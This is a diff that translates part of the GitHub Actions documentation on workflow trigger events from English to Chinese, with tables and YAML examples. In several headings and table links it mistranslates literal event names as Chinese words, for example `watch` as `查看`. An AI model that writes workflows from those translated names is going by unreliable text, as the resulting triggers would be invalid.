+| -------------------------------------------------------------------------------------------- | ----------------------------------------------------------------- | ------------ | ------------ |
+| [`issue_comment`](/developers/webhooks-and-events/webhook-events-and-payloads#issue_comment) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | 默认分支上的最新提交   | 默认分支         |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when an issue comment has been `created` or `deleted`.
+例如，您可以在议题评论为 `created` 或 `deleted` 时运行工作流程。
 
 ```yaml
 on:
@@ -422,9 +422,9 @@ on:
     types: [created, deleted]
 ```
 
-The `issue_comment` event occurs for comments on both issues and pull requests. To determine whether the `issue_comment` event was triggered from an issue or pull request, you can check the event payload for the `issue.pull_request` property and use it as a condition to skip a job.
+`issue_comment` 事件在评论问题和拉取请求时发生。 要确定 `issue_comment` 事件是否从议题或拉取请求触发，可以检查 `issue.pull_request` 属性的事件有效负载，并使用它作为跳过作业的条件。
 
-For example, you can choose to run the `pr_commented` job when comment events occur in a pull request, and the `issue_commented` job when comment events occur in an issue.
+例如，您可以选择在拉取请求中发生评论事件时运行 `pr_commented` 作业，在议题中发生评论事件时运行 `issue_commented` 作业。
 
 {% raw %}
 ```yaml
@@ -451,19 +451,19 @@ jobs:
 ```
 {% endraw %}
 
-### `issues`
+### `议题`
 
-Runs your workflow anytime the `issues` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Issues](/rest/reference/issues)."
+在发生 `issues` 事件的任何时间运行您的工作流程。 {% data reusables.developer-site.multiple_activity_types %}有关 REST API 的信息，请参阅“[议题](/rest/reference/issues)”。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`issues`](/webhooks/event-payloads/#issues) | - `opened`<br/>- `edited`<br/>- `deleted`<br/>- `transferred`<br/>- `pinned`<br/>- `unpinned`<br/>- `closed`<br/>- `reopened`<br/>- `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `locked`<br/>- `unlocked`<br/>- `milestoned`<br/> - `demilestoned` | Last commit on default branch | Default branch |
+| Web 挂钩事件有效负载                             | 活动类型                                                                                                                                                                                                                                                                                                                                                                   | `GITHUB_SHA` | `GITHUB_REF` |
+| ---------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | ------------ |
+| [`议题`](/webhooks/event-payloads/#issues) | - `opened`<br/>- `edited`<br/>- `deleted`<br/>- `transferred`<br/>- `pinned`<br/>- `unpinned`<br/>- `closed`<br/>- `reopened`<br/>- `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `locked`<br/>- `unlocked`<br/>- `milestoned`<br/> - `demilestoned` | 默认分支上的最新提交   | 默认分支         |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when an issue has been `opened`, `edited`, or `milestoned`.
+例如，您可以在议题为 `opened`、`edited` 或 `milestoned` 时运行工作流程。
 
 ```yaml
 on:
@@ -471,19 +471,19 @@ on:
     types: [opened, edited, milestoned]
 ```
 
-### `label`
+### `标签`
 
-Runs your workflow anytime the `label` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see  "[Labels](/rest/reference/issues#labels)."
+在发生 `label` 事件的任何时间运行您的工作流程。 {% data reusables.developer-site.multiple_activity_types %}有关 REST API 的信息，请参阅“[标签](/rest/reference/issues#labels)”。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`label`](/webhooks/event-payloads/#label) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch |
+| Web 挂钩事件有效负载                            | 活动类型                                                              | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------------------------- | ----------------------------------------------------------------- | ------------ | ------------ |
+| [`标签`](/webhooks/event-payloads/#label) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | 默认分支上的最新提交   | 默认分支         |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a label has been `created` or `deleted`.
+例如，您可以在标签为 `created` 或 `deleted` 时运行工作流程。
 
 ```yaml
 on:
@@ -491,19 +491,19 @@ on:
     types: [created, deleted]
 ```
 
-### `milestone`
+### `里程碑`
 
-Runs your workflow anytime the `milestone` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Milestones](/rest/reference/issues#milestones)."
+在发生 `milestone` 事件的任何时间运行您的工作流程。 {% data reusables.developer-site.multiple_activity_types %}有关 REST API 的信息，请参阅“[里程碑](/rest/reference/issues#milestones)”。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`milestone`](/webhooks/event-payloads/#milestone) | - `created`<br/>- `closed`<br/>- `opened`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch |
+| Web 挂钩事件有效负载                                 | 活动类型                                                                                                        | `GITHUB_SHA` | `GITHUB_REF` |
+| -------------------------------------------- | ----------------------------------------------------------------------------------------------------------- | ------------ | ------------ |
+| [`里程碑`](/webhooks/event-payloads/#milestone) | - `created`<br/>- `closed`<br/>- `opened`<br/>- `edited`<br/>- `deleted`<br/> | 默认分支上的最新提交   | 默认分支         |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a milestone has been `opened` or `deleted`.
+例如，您可以在里程碑为 `opened` 或 `deleted` 时运行工作流程。
 
 ```yaml
 on:
@@ -513,15 +513,15 @@ on:
 
 ### `page_build`
 
-Runs your workflow anytime someone pushes to a {% data variables.product.product_name %} Pages-enabled branch, which triggers the `page_build` event. For information about the REST API, see "[Pages](/rest/reference/repos#pages)."
+在有人推送到启用 {% data variables.product.product_name %} Pages 的分支（触发 `page_build` 事件）的任何时间运行您的工作流程。 有关 REST API 的信息，请参阅“[页面](/rest/reference/repos#pages)”。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`page_build`](/webhooks/event-payloads/#page_build) | n/a | Last commit on default branch | n/a |
+| Web 挂钩事件有效负载                                         | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` |
+| ---------------------------------------------------- | ---- | ------------ | ------------ |
+| [`page_build`](/webhooks/event-payloads/#page_build) | n/a  | 默认分支上的最新提交   | n/a          |
 
-For example, you can run a workflow when the `page_build` event occurs.
+例如，您可以在发生 `page_build` 事件时运行工作流程。
 
 ```yaml
 on:
@@ -530,17 +530,17 @@ on:
 
 ### `project`
 
-Runs your workflow anytime the `project` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Projects](/rest/reference/projects)."
+在发生 `project` 事件的任何时间运行您的工作流程。 {% data reusables.developer-site.multiple_activity_types %}有关 REST API 的信息，请参阅“[项目](/rest/reference/projects)”。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`project`](/webhooks/event-payloads/#project) | - `created`<br/>- `updated`<br/>- `closed`<br/>- `reopened`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch |
+| Web 挂钩事件有效负载                                   | 活动类型                                                                                                                                | `GITHUB_SHA` | `GITHUB_REF` |
+| ---------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- | ------------ | ------------ |
+| [`project`](/webhooks/event-payloads/#project) | - `created`<br/>- `updated`<br/>- `closed`<br/>- `reopened`<br/>- `edited`<br/>- `deleted`<br/> | 默认分支上的最新提交   | 默认分支         |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a project has been `created` or `deleted`.
+例如，您可以在项目为 `created` 或 `deleted` 时运行工作流程。
 
 ```yaml
 on:
@@ -550,17 +550,17 @@ on:
 
 ### `project_card`
 
-Runs your workflow anytime the `project_card` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Project cards](/rest/reference/projects#cards)."
+在发生 `project_card` 事件的任何时间运行您的工作流程。 {% data reusables.developer-site.multiple_activity_types %}有关 REST API 的信息，请参阅“[项目卡](/rest/reference/projects#cards)”。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`project_card`](/webhooks/event-payloads/#project_card) | - `created`<br/>- `moved`<br/>- `converted` to an issue<br/>- `edited`<br/>- `deleted` | Last commit on default branch | Default branch |
+| Web 挂钩事件有效负载                                             | 活动类型                                                                                                           | `GITHUB_SHA` | `GITHUB_REF` |
+| -------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- | ------------ | ------------ |
+| [`project_card`](/webhooks/event-payloads/#project_card) | - `created`<br/>- `moved`<br/>- `converted` to an issue<br/>- `edited`<br/>- `deleted` | 默认分支上的最新提交   | 默认分支         |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a project card has been `opened` or `deleted`.
+例如，您可以在项目卡为 `opened` 或 `deleted` 时运行工作流程。
 
 ```yaml
 on:
@@ -570,17 +570,17 @@ on:
 
 ### `project_column`
 
-Runs your workflow anytime the `project_column` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Project columns](/rest/reference/projects#columns)."
+在发生 `project_column` 事件的任何时间运行您的工作流程。 {% data reusables.developer-site.multiple_activity_types %}有关 REST API 的信息，请参阅“[项目列](/rest/reference/projects#columns)”。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`project_column`](/webhooks/event-payloads/#project_column) | - `created`<br/>- `updated`<br/>- `moved`<br/>- `deleted` | Last commit on default branch | Default branch |
+| Web 挂钩事件有效负载                                                 | 活动类型                                                                        | `GITHUB_SHA` | `GITHUB_REF` |
+| ------------------------------------------------------------ | --------------------------------------------------------------------------- | ------------ | ------------ |
+| [`project_column`](/webhooks/event-payloads/#project_column) | - `created`<br/>- `updated`<br/>- `moved`<br/>- `deleted` | 默认分支上的最新提交   | 默认分支         |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a project column has been `created` or `deleted`.
+例如，您可以在项目列为 `created` 或 `deleted` 时运行工作流程。
 
 ```yaml
 on:
@@ -590,15 +590,15 @@ on:
 
 ### `public`
 
-Runs your workflow anytime someone makes a private repository public, which triggers the `public` event. For information about the REST API, see "[Edit repositories](/rest/reference/repos#edit)."
+每当有人将私有仓库公开（触发 `public` 事件）时运行您的工作流程。 有关 REST API 的信息，请参阅“[编辑仓库](/rest/reference/repos#edit)”。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`public`](/webhooks/event-payloads/#public) | n/a | Last commit on default branch |  Default branch |
+| Web 挂钩事件有效负载                                 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` |
+| -------------------------------------------- | ---- | ------------ | ------------ |
+| [`public`](/webhooks/event-payloads/#public) | n/a  | 默认分支上的最新提交   | 默认分支         |
 
-For example, you can run a workflow when the `public` event occurs.
+例如，您可以在发生 `public` 事件时运行工作流程。
 
 ```yaml
 on:
@@ -607,23 +607,23 @@ on:
 
 ### `pull_request`
 
-Runs your workflow anytime the `pull_request` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Pull requests](/rest/reference/pulls)."
+在发生 `pull_request` 事件的任何时间运行您的工作流程。 {% data reusables.developer-site.multiple_activity_types %}有关 REST API 的信息，请参阅“[拉取请求](/rest/reference/pulls)”。
 
 {% note %}
 
-**Notes:**
-- By default, a workflow only runs when a `pull_request`'s activity type is `opened`, `synchronize`, or `reopened`. To trigger workflows for more activity types, use the `types` keyword.
-- Workflows will not run on `pull_request` activity if the pull request has a merge conflict. The merge conflict must be resolved first.
+**注意：**
+- 默认情况下，工作流程仅在 `pull_request` 的活动类型为 `opened`、`synchronize` 或 `reopened` 时运行。 要让更多活动类型触发工作流程，请使用 `types` 关键词。
+- 如果拉取请求具有合并冲突，工作流程将不会在 `pull_request` 活动上运行。 必须先解决合并冲突。
 
 {% endnote %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`pull_request`](/webhooks/event-payloads/#pull_request) | - `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `opened`<br/>- `edited`<br/>- `closed`<br/>- `reopened`<br/>- `synchronize`<br/>- `converted_to_draft`<br/>- `ready_for_review`<br/>- `locked`<br/>- `unlocked` <br/>- `review_requested` <br/>- `review_request_removed`{% ifversion fpt or ghes > 3.0 or ghae or ghec %} <br/>- `auto_merge_enabled` <br/>- `auto_merge_disabled`{% endif %} | Last merge commit on the `GITHUB_REF` branch | PR merge branch `refs/pull/:prNumber/merge` |
+| Web 挂钩事件有效负载                                             | 活动类型                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | `GITHUB_SHA`            | `GITHUB_REF`                        |
+| -------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------- | ----------------------------------- |
+| [`pull_request`](/webhooks/event-payloads/#pull_request) | - `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `opened`<br/>- `edited`<br/>- `closed`<br/>- `reopened`<br/>- `synchronize`<br/>- `converted_to_draft`<br/>- `ready_for_review`<br/>- `locked`<br/>- `unlocked` <br/>- `review_requested` <br/>- `review_request_removed`{% ifversion fpt or ghes > 3.0 or ghae or ghec %} <br/>- `auto_merge_enabled` <br/>- `auto_merge_disabled`{% endif %} | `GITHUB_REF` 分支上的最新合并提交 | PR 合并分支 `refs/pull/:prNumber/merge` |
 
-You extend or limit the default activity types using the `types` keyword. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#onevent_nametypes)."
+您可以使用 `types` 关键词扩展或限制默认活动类型。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/articles/workflow-syntax-for-github-actions#onevent_nametypes)”。
 
-For example, you can run a workflow when a pull request has been `assigned`, `opened`, `synchronize`, or `reopened`.
+例如，您可以在拉取请求为 `assigned`、`opened`、`synchronize` 或 `reopened` 时运行工作流程。
 
 ```yaml
 on:
@@ -635,15 +635,15 @@ on:
 
 ### `pull_request_review`
 
-Runs your workflow anytime the `pull_request_review` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Pull request reviews](/rest/reference/pulls#reviews)."
+在发生 `pull_request_review` 事件的任何时间运行您的工作流程。 {% data reusables.developer-site.multiple_activity_types %}有关 REST API 的信息，请参阅“[拉取请求审查](/rest/reference/pulls#reviews)”。
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`pull_request_review`](/webhooks/event-payloads/#pull_request_review) | - `submitted`<br/>- `edited`<br/>- `dismissed` | Last merge commit on the `GITHUB_REF` branch | PR merge branch `refs/pull/:prNumber/merge` |
+| Web 挂钩事件有效负载                                                           | 活动类型                                                       | `GITHUB_SHA`            | `GITHUB_REF`                        |
+| ---------------------------------------------------------------------- | ---------------------------------------------------------- | ----------------------- | ----------------------------------- |
+| [`pull_request_review`](/webhooks/event-payloads/#pull_request_review) | - `submitted`<br/>- `edited`<br/>- `dismissed` | `GITHUB_REF` 分支上的最新合并提交 | PR 合并分支 `refs/pull/:prNumber/merge` |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a pull request review has been `edited` or `dismissed`.
+例如，您可以在拉取请求审查为 `edited` 或 `dismissed` 时运行工作流程。
 
 ```yaml
 on:
@@ -655,15 +655,15 @@ on:
 
 ### `pull_request_review_comment`
 
-Runs your workflow anytime a comment on a pull request's unified diff is modified, which triggers the `pull_request_review_comment` event. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see [Review comments](/rest/reference/pulls#comments).
+每当拉取请求统一差异的评论被修改（触发 `pull_request_review_comment` 事件）时运行您的工作流程。 {% data reusables.developer-site.multiple_activity_types %} 有关 REST API 的信息，请参阅“[审查评论](/rest/reference/pulls#comments)”。
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`pull_request_review_comment`](/webhooks/event-payloads/#pull_request_review_comment) | - `created`<br/>- `edited`<br/>- `deleted`| Last merge commit on the `GITHUB_REF` branch | PR merge branch `refs/pull/:prNumber/merge` |
+| Web 挂钩事件有效负载                                                                           | 活动类型                                                   | `GITHUB_SHA`            | `GITHUB_REF`                        |
+| -------------------------------------------------------------------------------------- | ------------------------------------------------------ | ----------------------- | ----------------------------------- |
+| [`pull_request_review_comment`](/webhooks/event-payloads/#pull_request_review_comment) | - `created`<br/>- `edited`<br/>- `deleted` | `GITHUB_REF` 分支上的最新合并提交 | PR 合并分支 `refs/pull/:prNumber/merge` |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a pull request review comment has been `created` or `deleted`.
+例如，您可以在拉取请求审查评论为 `created` 或 `deleted` 时运行工作流程。
 
 ```yaml
 on:
@@ -675,21 +675,21 @@ on:
 
 ### `pull_request_target`
 
-This event runs in the context of the base of the pull request, rather than in the merge commit as the `pull_request` event does.  This prevents executing unsafe workflow code from the head of the pull request that could alter your repository or steal any secrets you use in your workflow. This event allows you to do things like create workflows that label and comment on pull requests based on the contents of the event payload.
+此事件在拉取请求基础的上下文中运行，而不是像 `pull_request` 事件一样在合并提交中运行。  这样可以防止从拉取请求的头部执行不安全的工作流程代码，以免更改您的仓库或窃取您在工作流程中使用的任何机密。 此事件允许您根据事件有效负载的内容创建工作流程来标识和评论拉取请求，等等。
 
 {% warning %}
 
-**Warning:** The `pull_request_target` event is granted a read/write repository token and can access secrets, even when it is triggered from a fork. Although the workflow runs in the context of the base of the pull request, you should make sure that you do not check out, build, or run untrusted code from the pull request with this event. Additionally, any caches share the same scope as the base branch, and to help prevent cache poisoning, you should not save the cache if there is a possibility that the cache contents were altered. For more information, see "[Keeping your GitHub Actions and workflows secure: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)" on the GitHub Security Lab website.
+**警告：** `pull_request_target` 事件被授予读/写仓库令牌，可以访问机密，即使从复刻触发时。 虽然工作流程在拉取请求的基础上下文中运行，但您应该确保不在此事件中检出、生成或运行来自拉取请求的不受信任代码。 此外，任何缓存共享与基本分支相同的范围，并且为了帮助防止缓存中毒，如果缓存内容可能已更改，则不应保存缓存。 更多信息请参阅 GitHub 安全实验室网站上的“[保持 GitHub Actions 和工作流程安全：阻止 pwn 请求](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)”。
 
 {% endwarning %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`pull_request_target`](/webhooks/event-payloads/#pull_request) | - `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `opened`<br/>- `edited`<br/>- `closed`<br/>- `reopened`<br/>- `synchronize`<br/>- `converted_to_draft`<br/>- `ready_for_review`<br/>- `locked`<br/>- `unlocked` <br/>- `review_requested` <br/>- `review_request_removed`{% ifversion fpt or ghes > 3.0 or ghae or ghec %} <br/>- `auto_merge_enabled` <br/>- `auto_merge_disabled`{% endif %} | Last commit on the PR base branch | PR base branch |
+| Web 挂钩事件有效负载                                                    | 活动类型                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | `GITHUB_SHA`   | `GITHUB_REF` |
+| --------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------- | ------------ |
+| [`pull_request_target`](/webhooks/event-payloads/#pull_request) | - `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `opened`<br/>- `edited`<br/>- `closed`<br/>- `reopened`<br/>- `synchronize`<br/>- `converted_to_draft`<br/>- `ready_for_review`<br/>- `locked`<br/>- `unlocked` <br/>- `review_requested` <br/>- `review_request_removed`{% ifversion fpt or ghes > 3.0 or ghae or ghec %} <br/>- `auto_merge_enabled` <br/>- `auto_merge_disabled`{% endif %} | PR 基分支上的最后一次提交 | PR 基础分支      |
 
-By default, a workflow only runs when a `pull_request_target`'s activity type is `opened`, `synchronize`, or `reopened`. To trigger workflows for more activity types, use the `types` keyword. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#onevent_nametypes)."
+默认情况下，工作流程仅在 `pull_request_target` 的活动类型为 `opened`、`synchronize` 或 `reopened` 时运行。 要让更多活动类型触发工作流程，请使用 `types` 关键词。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/articles/workflow-syntax-for-github-actions#onevent_nametypes)”。
 
-For example, you can run a workflow when a pull request has been `assigned`, `opened`, `synchronize`, or `reopened`.
+例如，您可以在拉取请求为 `assigned`、`opened`、`synchronize` 或 `reopened` 时运行工作流程。
 
 ```yaml
 on:
@@ -697,21 +697,21 @@ on:
     types: [assigned, opened, synchronize, reopened]
 ```
 
-### `push`
+### `推送`
 
 {% note %}
 
-**Note:** The webhook payload available to GitHub Actions does not include the `added`, `removed`, and `modified` attributes in the `commit` object. You can retrieve the full commit object using the REST API. For more information, see "[Get a commit](/rest/reference/commits#get-a-commit)".
+**注：**适用于 GitHub Actions 的 web 挂钩有效负载在 `commit` 对象中不包括 `added`、`removed` 和 `modified` 属性。 您可以使用 REST API 检索完整的提交对象。 更多信息请参阅“[获取提交](/rest/reference/commits#get-a-commit)”。
 
 {% endnote %}
 
-Runs your workflow when someone pushes to a repository branch, which triggers the `push` event.
+有人向仓库分支推送（触发 `push` 事件）时运行您的工作流程。
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`push`](/webhooks/event-payloads/#push) | n/a | Commit pushed, unless deleting a branch (when it's the default branch) | Updated ref |
+| Web 挂钩事件有效负载                           | 活动类型 | `GITHUB_SHA`           | `GITHUB_REF` |
+| -------------------------------------- | ---- | ---------------------- | ------------ |
+| [`推送`](/webhooks/event-payloads/#push) | n/a  | 推送的提交，除非删除分支（当它是默认分支时） | 更新的引用        |
 
-For example, you can run a workflow when the `push` event occurs.
+例如，您可以在发生 `push` 事件时运行工作流程。
 
 ```yaml
 on:
@@ -720,15 +720,15 @@ on:
 
 ### `registry_package`
 
-Runs your workflow anytime a package is `published` or `updated`. For more information, see "[Managing packages with {% data variables.product.prodname_registry %}](/github/managing-packages-with-github-packages)."
+只要软件包为 `published` or `updated`，即运行工作流程。 更多信息请参阅“[使用 {% data variables.product.prodname_registry %} 管理包](/github/managing-packages-with-github-packages)”。
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`registry_package`](/webhooks/event-payloads/#package) | - `published`<br/>- `updated` | Commit of the published package | Branch or tag of the published package |
+| Web 挂钩事件有效负载                                            | 活动类型                                | `GITHUB_SHA`                    | `GITHUB_REF` |
+| ------------------------------------------------------- | ----------------------------------- | ------------------------------- | ------------ |
+| [`registry_package`](/webhooks/event-payloads/#package) | - `published`<br/>- `updated` | Commit of the published package | 已发布软件包的分支或标签 |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a package has been `published`.
+例如，您可以在软件包为 `published` 时运行工作流程。
 
 ```yaml
 on:
@@ -736,23 +736,23 @@ on:
     types: [published]
 ```
 
-### `release`
+### `发行版`
 
 {% note %}
 
-**Note:** The `release` event is not triggered for draft releases.
+**注意：**对草稿发行版不触发 `release` 事件。
 
 {% endnote %}
 
-Runs your workflow anytime the `release` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Releases](/rest/reference/repos#releases)."
+在发生 `release` 事件的任何时间运行您的工作流程。 {% data reusables.developer-site.multiple_activity_types %}有关 REST API 的信息，请参阅“[发行版](/rest/reference/repos#releases)”。
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`release`](/webhooks/event-payloads/#release) | - `published` <br/>- `unpublished` <br/>- `created` <br/>- `edited` <br/>- `deleted` <br/>- `prereleased`<br/> - `released` | Last commit in the tagged release | Tag of release |
+| Web 挂钩事件有效负载                               | 活动类型                                                                                                                                                            | `GITHUB_SHA` | `GITHUB_REF` |
+| ------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | ------------ |
+| [`发行版`](/webhooks/event-payloads/#release) | - `published` <br/>- `unpublished` <br/>- `created` <br/>- `edited` <br/>- `deleted` <br/>- `prereleased`<br/> - `released` | 标记的发行版中的最新提交 | 发行版标记        |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a release has been `published`.
+例如，您可以在版本发布为 `published` 时运行工作流程。
 
 ```yaml
 on:
@@ -762,40 +762,40 @@ on:
 
 {% note %}
 
-**Note:** The `prereleased` type will not trigger for pre-releases published from draft releases, but the `published` type will trigger. If you want a workflow to run when stable *and* pre-releases publish, subscribe to `published` instead of `released` and `prereleased`.
+**注意：**`prereleased` 类型不会触发从草稿版本预发布，但 `published` 类型会触发。 如果您希望工作流程在稳定*和*预发布时运行，请订阅 `published` 而不是 `released` 和 `prereleased`。
 
 {% endnote %}
 
-### `status`
+### `状态`
 
-Runs your workflow anytime the status of a Git commit changes, which triggers the `status` event. For information about the REST API, see [Statuses](/rest/reference/repos#statuses).
+在 Git 提交的状态发生变化（触发 `status` 事件）的任何时间运行您的工作流程。 有关 REST API 的信息，请参阅“[状态](/rest/reference/repos#statuses)”。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`status`](/webhooks/event-payloads/#status) | n/a | Last commit on default branch | n/a |
+| Web 挂钩事件有效负载                             | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` |
+| ---------------------------------------- | ---- | ------------ | ------------ |
+| [`状态`](/webhooks/event-payloads/#status) | n/a  | 默认分支上的最新提交   | n/a          |
 
-For example, you can run a workflow when the `status` event occurs.
+例如，您可以在发生 `status` 事件时运行工作流程。
 
 ```yaml
 on:
   status
 ```
 
-### `watch`
+### `查看`
 
-Runs your workflow anytime the `watch` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Starring](/rest/reference/activity#starring)."
+在发生 `watch` 事件的任何时间运行您的工作流程。 {% data reusables.developer-site.multiple_activity_types %}有关 REST API 的信息，请参阅“[星标](/rest/reference/activity#starring)”。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`watch`](/webhooks/event-payloads/#watch) | - `started` | Last commit on default branch | Default branch |
+| Web 挂钩事件有效负载                            | 活动类型        | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------------------------- | ----------- | ------------ | ------------ |
+| [`查看`](/webhooks/event-payloads/#watch) | - `started` | 默认分支上的最新提交   | 默认分支         |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when someone stars a repository, which is the `started` activity type that triggers the watch event.
+例如，您可以在某人为仓库加星标时（即触发关注事件的 `started` 活动类型）运行工作流程。
 
 ```yaml
 on:
@@ -809,7 +809,7 @@ on:
 
 {% note %}
 
-**Notes:** 
+**注意：**
 
 * This event will only trigger a workflow run if the workflow file is on the default branch.
 
@@ -817,15 +817,15 @@ on:
 
 {% endnote %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`workflow_run`](/webhooks/event-payloads/#workflow_run) | - `completed`<br/>- `requested` | Last commit on default branch | Default branch |
+| Web 挂钩事件有效负载                                             | 活动类型                                  | `GITHUB_SHA` | `GITHUB_REF` |
+| -------------------------------------------------------- | ------------------------------------- | ------------ | ------------ |
+| [`workflow_run`](/webhooks/event-payloads/#workflow_run) | - `completed`<br/>- `requested` | 默认分支上的最新提交   | 默认分支         |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-If you need to filter branches from this event, you can use `branches` or `branches-ignore`.
+如果需要从此事件中筛选分支，可以使用 `branches` 或 `branches-ignore`。
 
-In this example, a workflow is configured to run after the separate "Run Tests" workflow completes.
+在此示例中，工作流程配置为在单独的“运行测试”工作流程完成后运行。
 
 ```yaml
 on:
@@ -837,7 +837,7 @@ on:
       - requested
 ```
 
